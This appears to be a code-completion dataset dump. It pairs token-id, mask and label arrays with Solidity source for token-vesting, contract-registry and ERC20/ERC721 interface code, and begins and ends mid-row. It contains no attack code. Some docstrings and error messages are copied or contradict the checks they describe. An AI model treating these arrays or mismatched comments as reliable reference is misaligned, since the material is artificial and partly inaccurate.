1827,
55,
1218,
77,
5912,
12,
11890,
5034,
3844,
55,
1218,
77,
1769,
203,
203,
565,
871,
1827,
2723,
12,
203,
3639,
1758,
8808,
1438,
16,
203,
3639,
1758,
8808,
1147,
20,
16,
203,
3639,
1758,
8808,
1147,
21,
16,
203,
3639,
2254,
5034,
3844,
20,
16,
203,
3639,
2254,
5034,
3844,
21,
203,
565,
11272,
203,
203,
565,
3885,
12,
203,
3639,
1758,
389,
6848,
16,
203,
3639,
1758,
389,
3215,
16,
203,
3639,
1758,
389,
87,
1218,
77,
203,
203,
683,
9454,
18035,
560,
374,
18,
26,
18,
2138,
31,
203,
203,
565,
262,
1071,
288,
203,
3639,
3272,
273,
389,
6848,
31,
203,
3639,
4653,
273,
389,
3215,
31,
203,
3639,
272,
1218,
77,
273,
389,
87,
1218,
77,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5592,
288,
203,
3639,
2583,
12,
203,
5411,
353,
5592,
63,
3576,
18,
15330,
6487,
203,
5411,
315,
3386,
3726,
848,
745,
333,
445,
1199,
203,
3639,
11272,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
444,
2
]
|
./partial_match/1/0x05bb115Db9905D857f266FA11e2788d2d88006a2/sources/NoTaxToken.sol | Calculate max wallet balance and transaction amount | maxWalletBalance = Math.mulDiv(supply, _maxWalletPercent, 100);
| 3,988,242 | [
1,
8695,
943,
9230,
11013,
471,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
943,
16936,
13937,
273,
2361,
18,
16411,
7244,
12,
2859,
1283,
16,
389,
1896,
16936,
8410,
16,
2130,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
// File: contracts/governance/DelegateReference.sol
/**
* @title Delegate reference to be used in other contracts
*/
interface DelegateReference {
/**
* @notice Stake specified amount of tokens to the delegate to participate in coin distribution
*/
function stake(uint256 _amount) external;
/**
* @notice Unstake specified amount of tokens from the delegate
*/
function unstake(uint256 _amount) external;
/**
* @notice Return number of tokens staked by the specified staker
*/
function stakeOf(address _staker) external view returns (uint256);
/**
* @notice Sets Aerum address for delegate & calling staker
*/
function setAerumAddress(address _aerum) external;
}
// File: contracts/vesting/MultiVestingWallet.sol
/**
* @title TokenVesting
* @notice A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract MultiVestingWallet is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
event Released(address indexed account, uint256 amount);
event Revoked(address indexed account);
event UnRevoked(address indexed account);
event ReturnTokens(uint256 amount);
event Promise(address indexed account, uint256 amount);
event Stake(address indexed delegate, uint256 amount);
event Unstake(address indexed delegate, uint256 amount);
ERC20 public token;
uint256 public cliff;
uint256 public start;
uint256 public duration;
uint256 public staked;
bool public revocable;
address[] public accounts;
mapping(address => bool) public known;
mapping(address => uint256) public promised;
mapping(address => uint256) public released;
mapping(address => bool) public revoked;
/**
* @notice Creates a vesting contract that vests its balance of any ERC20 token to the
* of the balance will have vested.
* @param _token token being vested
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _token,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_token != address(0));
require(_cliff <= _duration);
token = ERC20(_token);
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
/**
* @notice Transfers vested tokens to beneficiary.
*/
function release() external {
_release(msg.sender);
}
/**
* @notice Transfers vested tokens to list of beneficiary.
* @param _addresses List of beneficiaries
*/
function releaseBatch(address[] _addresses) external {
for (uint256 index = 0; index < _addresses.length; index++) {
_release(_addresses[index]);
}
}
/**
* @notice Transfers vested tokens to batch of beneficiaries (starting 0)
* @param _start Index of first beneficiary to release tokens
* @param _count Number of beneficiaries to release tokens
*/
function releaseBatchPaged(uint256 _start, uint256 _count) external {
uint256 last = _start.add(_count);
if (last > accounts.length) {
last = accounts.length;
}
for (uint256 index = _start; index < last; index++) {
_release(accounts[index]);
}
}
/**
* @notice Transfers vested tokens to all beneficiaries.
*/
function releaseAll() external {
for (uint256 index = 0; index < accounts.length; index++) {
_release(accounts[index]);
}
}
/**
* @notice Internal transfer of vested tokens to beneficiary.
*/
function _release(address _beneficiary) internal {
uint256 amount = releasableAmount(_beneficiary);
if (amount > 0) {
released[_beneficiary] = released[_beneficiary].add(amount);
token.safeTransfer(_beneficiary, amount);
emit Released(_beneficiary, amount);
}
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param _beneficiary Account which will be revoked
*/
function revoke(address _beneficiary) public onlyOwner {
require(revocable);
require(!revoked[_beneficiary]);
promised[_beneficiary] = vestedAmount(_beneficiary);
revoked[_beneficiary] = true;
emit Revoked(_beneficiary);
}
/**
* @notice Allows the owner to revoke the vesting for few addresses.
* @param _addresses Accounts which will be unrevoked
*/
function revokeBatch(address[] _addresses) external onlyOwner {
for (uint256 index = 0; index < _addresses.length; index++) {
revoke(_addresses[index]);
}
}
/**
* @notice Allows the owner to unrevoke the vesting.
* @param _beneficiary Account which will be unrevoked
*/
function unRevoke(address _beneficiary) public onlyOwner {
require(revocable);
require(revoked[_beneficiary]);
revoked[_beneficiary] = false;
emit UnRevoked(_beneficiary);
}
/**
* @notice Allows the owner to unrevoke the vesting for few addresses.
* @param _addresses Accounts which will be unrevoked
*/
function unrevokeBatch(address[] _addresses) external onlyOwner {
for (uint256 index = 0; index < _addresses.length; index++) {
unRevoke(_addresses[index]);
}
}
/**
* @notice Calculates the amount that has already vested but hasn't been released yet.
* @param _beneficiary Account which gets vested tokens
*/
function releasableAmount(address _beneficiary) public view returns (uint256) {
return vestedAmount(_beneficiary).sub(released[_beneficiary]);
}
/**
* @notice Calculates the amount that has already vested.
* @param _beneficiary Account which gets vested tokens
*/
function vestedAmount(address _beneficiary) public view returns (uint256) {
uint256 totalPromised = promised[_beneficiary];
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[_beneficiary]) {
return totalPromised;
} else {
return totalPromised.mul(block.timestamp.sub(start)).div(duration);
}
}
/**
* @notice Calculates the amount of free tokens in contract
*/
function remainingBalance() public view returns (uint256) {
uint256 tokenBalance = token.balanceOf(address(this));
uint256 totalPromised = 0;
uint256 totalReleased = 0;
for (uint256 index = 0; index < accounts.length; index++) {
address account = accounts[index];
totalPromised = totalPromised.add(promised[account]);
totalReleased = totalReleased.add(released[account]);
}
uint256 promisedNotReleased = totalPromised.sub(totalReleased);
if (promisedNotReleased > tokenBalance) {
return 0;
}
return tokenBalance.sub(promisedNotReleased);
}
/**
* @notice Calculates amount of tokens promised
*/
function totalPromised() public view returns (uint256) {
uint256 total = 0;
for (uint256 index = 0; index < accounts.length; index++) {
address account = accounts[index];
total = total.add(promised[account]);
}
return total;
}
/**
* @notice Calculates amount of tokens released
*/
function totalReleased() public view returns (uint256) {
uint256 total = 0;
for (uint256 index = 0; index < accounts.length; index++) {
address account = accounts[index];
total = total.add(released[account]);
}
return total;
}
/**
* @notice Returns free tokens to owner
*/
function returnRemaining() external onlyOwner {
uint256 remaining = remainingBalance();
require(remaining > 0);
token.safeTransfer(owner, remaining);
emit ReturnTokens(remaining);
}
/**
* @notice Returns all tokens to owner
*/
function returnAll() external onlyOwner {
uint256 remaining = token.balanceOf(address(this));
token.safeTransfer(owner, remaining);
emit ReturnTokens(remaining);
}
/**
* @notice Sets promise to account
* @param _beneficiary Account which gets vested tokens
* @param _amount Amount of tokens vested
*/
function promise(address _beneficiary, uint256 _amount) public onlyOwner {
if (!known[_beneficiary]) {
known[_beneficiary] = true;
accounts.push(_beneficiary);
}
promised[_beneficiary] = _amount;
emit Promise(_beneficiary, _amount);
}
/**
* @notice Sets promise to list of account
* @param _addresses Accounts which will get promises
* @param _amounts Promise amounts
*/
function promiseBatch(address[] _addresses, uint256[] _amounts) external onlyOwner {
require(_addresses.length == _amounts.length);
for (uint256 index = 0; index < _addresses.length; index++) {
promise(_addresses[index], _amounts[index]);
}
}
/**
* @notice Returns full list if beneficiaries
*/
function getBeneficiaries() external view returns (address[]) {
return accounts;
}
/**
* @notice Returns number of beneficiaries
*/
function getBeneficiariesCount() external view returns (uint256) {
return accounts.length;
}
/**
* @notice Stake specified amount of vested tokens to the delegate by the beneficiary
*/
function stake(address _delegate, uint256 _amount) external onlyOwner {
staked = staked.add(_amount);
token.approve(_delegate, _amount);
DelegateReference(_delegate).stake(_amount);
emit Stake(_delegate, _amount);
}
/**
* @notice Unstake the given number of vested tokens by the beneficiary
*/
function unstake(address _delegate, uint256 _amount) external onlyOwner {
staked = staked.sub(_amount);
DelegateReference(_delegate).unstake(_amount);
emit Unstake(_delegate, _amount);
}
}
// File: contracts\registry\ContractRegistry.sol
/**
* @title Contract registry
*/
contract ContractRegistry is Ownable {
struct ContractRecord {
address addr;
bytes32 name;
bool enabled;
}
address private token;
/**
* @dev contracts Mapping of contracts
*/
mapping(bytes32 => ContractRecord) private contracts;
/**
* @dev contracts Mapping of contract names
*/
bytes32[] private contractsName;
event ContractAdded(bytes32 indexed _name);
event ContractRemoved(bytes32 indexed _name);
constructor(address _token) public {
require(_token != address(0), "Token is required");
token = _token;
}
/**
* @dev Returns contract by name
* @param _name Contract's name
*/
function getContractByName(bytes32 _name) external view returns (address, bytes32, bool) {
ContractRecord memory record = contracts[_name];
if(record.addr == address(0) || !record.enabled) {
return;
}
return (record.addr, record.name, record.enabled);
}
/**
* @dev Returns contract's names
*/
function getContractNames() external view returns (bytes32[]) {
uint count = 0;
for(uint i = 0; i < contractsName.length; i++) {
if(contracts[contractsName[i]].enabled) {
count++;
}
}
bytes32[] memory result = new bytes32[](count);
uint j = 0;
for(i = 0; i < contractsName.length; i++) {
if(contracts[contractsName[i]].enabled) {
result[j] = contractsName[i];
j++;
}
}
return result;
}
/**
* @notice Creates a vesting contract that vests its balance of any ERC20 token to the
* of the balance will have vested.
* @param _name contract's name
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
function addContract(
bytes32 _name,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable) external onlyOwner {
require(contracts[_name].addr == address(0), "Contract's name should be unique");
require(_cliff <= _duration, "Cliff shall be bigger than duration");
MultiVestingWallet wallet = new MultiVestingWallet(token, _start, _cliff, _duration, _revocable);
wallet.transferOwnership(msg.sender);
address walletAddr = address(wallet);
ContractRecord memory record = ContractRecord({
addr: walletAddr,
name: _name,
enabled: true
});
contracts[_name] = record;
contractsName.push(_name);
emit ContractAdded(_name);
}
/**
* @dev Enables/disables contract by address
* @param _name Name of the contract
*/
function setEnabled(bytes32 _name, bool enabled) external onlyOwner {
ContractRecord memory record = contracts[_name];
require(record.addr != address(0), "Contract with specified address does not exist");
contracts[_name].enabled = enabled;
}
/**
* @dev Set's new name
* @param _oldName Old name of the contract
* @param _newName New name of the contract
*/
function setNewName(bytes32 _oldName, bytes32 _newName) external onlyOwner {
require(contracts[_newName].addr == address(0), "Contract's name should be unique");
ContractRecord memory record = contracts[_oldName];
require(record.addr != address(0), "Contract's old name should be defined");
record.name = _newName;
contracts[_newName] = record;
contractsName.push(_newName);
delete contracts[_oldName];
contractsName = removeByValue(contractsName, _oldName);
}
function removeByValue(bytes32[] memory _array, bytes32 _name) private pure returns(bytes32[]) {
uint i = 0;
uint j = 0;
bytes32[] memory outArray = new bytes32[](_array.length - 1);
while (i < _array.length) {
if(_array[i] != _name) {
outArray[j] = _array[i];
j++;
}
i++;
}
return outArray;
}
} | * @notice Creates a vesting contract that vests its balance of any ERC20 token to the of the balance will have vested. @param _name contract's name @param _cliff duration in seconds of the cliff in which tokens will begin to vest @param _start the time (as Unix time) at which point vesting starts @param _duration duration in seconds of the period in which the tokens will vest @param _revocable whether the vesting is revocable or not/ | function addContract(
bytes32 _name,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable) external onlyOwner {
require(contracts[_name].addr == address(0), "Contract's name should be unique");
require(_cliff <= _duration, "Cliff shall be bigger than duration");
MultiVestingWallet wallet = new MultiVestingWallet(token, _start, _cliff, _duration, _revocable);
wallet.transferOwnership(msg.sender);
address walletAddr = address(wallet);
ContractRecord memory record = ContractRecord({
addr: walletAddr,
name: _name,
enabled: true
});
contracts[_name] = record;
contractsName.push(_name);
emit ContractAdded(_name);
}
| 7,222,072 | [
1,
2729,
279,
331,
10100,
6835,
716,
331,
25563,
2097,
11013,
434,
1281,
4232,
39,
3462,
1147,
358,
326,
434,
326,
11013,
903,
1240,
331,
3149,
18,
225,
389,
529,
6835,
1807,
508,
225,
389,
830,
3048,
3734,
316,
3974,
434,
326,
927,
3048,
316,
1492,
2430,
903,
2376,
358,
331,
395,
225,
389,
1937,
326,
813,
261,
345,
9480,
813,
13,
622,
1492,
1634,
331,
10100,
2542,
225,
389,
8760,
3734,
316,
3974,
434,
326,
3879,
316,
1492,
326,
2430,
903,
331,
395,
225,
389,
9083,
504,
429,
2856,
326,
331,
10100,
353,
5588,
504,
429,
578,
486,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
527,
8924,
12,
203,
3639,
1731,
1578,
389,
529,
16,
203,
3639,
2254,
5034,
389,
1937,
16,
203,
3639,
2254,
5034,
389,
830,
3048,
16,
203,
3639,
2254,
5034,
389,
8760,
16,
203,
3639,
1426,
389,
9083,
504,
429,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
16351,
87,
63,
67,
529,
8009,
4793,
422,
1758,
12,
20,
3631,
315,
8924,
1807,
508,
1410,
506,
3089,
8863,
203,
3639,
2583,
24899,
830,
3048,
1648,
389,
8760,
16,
315,
2009,
3048,
24315,
506,
18983,
2353,
3734,
8863,
203,
203,
3639,
5991,
58,
10100,
16936,
9230,
273,
394,
5991,
58,
10100,
16936,
12,
2316,
16,
389,
1937,
16,
389,
830,
3048,
16,
389,
8760,
16,
389,
9083,
504,
429,
1769,
203,
3639,
9230,
18,
13866,
5460,
12565,
12,
3576,
18,
15330,
1769,
203,
3639,
1758,
9230,
3178,
273,
1758,
12,
19177,
1769,
203,
540,
203,
3639,
13456,
2115,
3778,
1409,
273,
13456,
2115,
12590,
203,
5411,
3091,
30,
9230,
3178,
16,
203,
5411,
508,
30,
389,
529,
16,
203,
5411,
3696,
30,
638,
203,
3639,
15549,
203,
3639,
20092,
63,
67,
529,
65,
273,
1409,
31,
203,
3639,
20092,
461,
18,
6206,
24899,
529,
1769,
203,
203,
3639,
3626,
13456,
8602,
24899,
529,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: node_modules\@openzeppelin\contracts\utils\introspection\IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: node_modules\@openzeppelin\contracts\token\ERC721\IERC721.sol
//
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: node_modules\@openzeppelin\contracts\token\ERC721\IERC721Receiver.sol
//
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: node_modules\@openzeppelin\contracts\token\ERC721\extensions\IERC721Metadata.sol
//
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: node_modules\@openzeppelin\contracts\utils\Address.sol
//
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
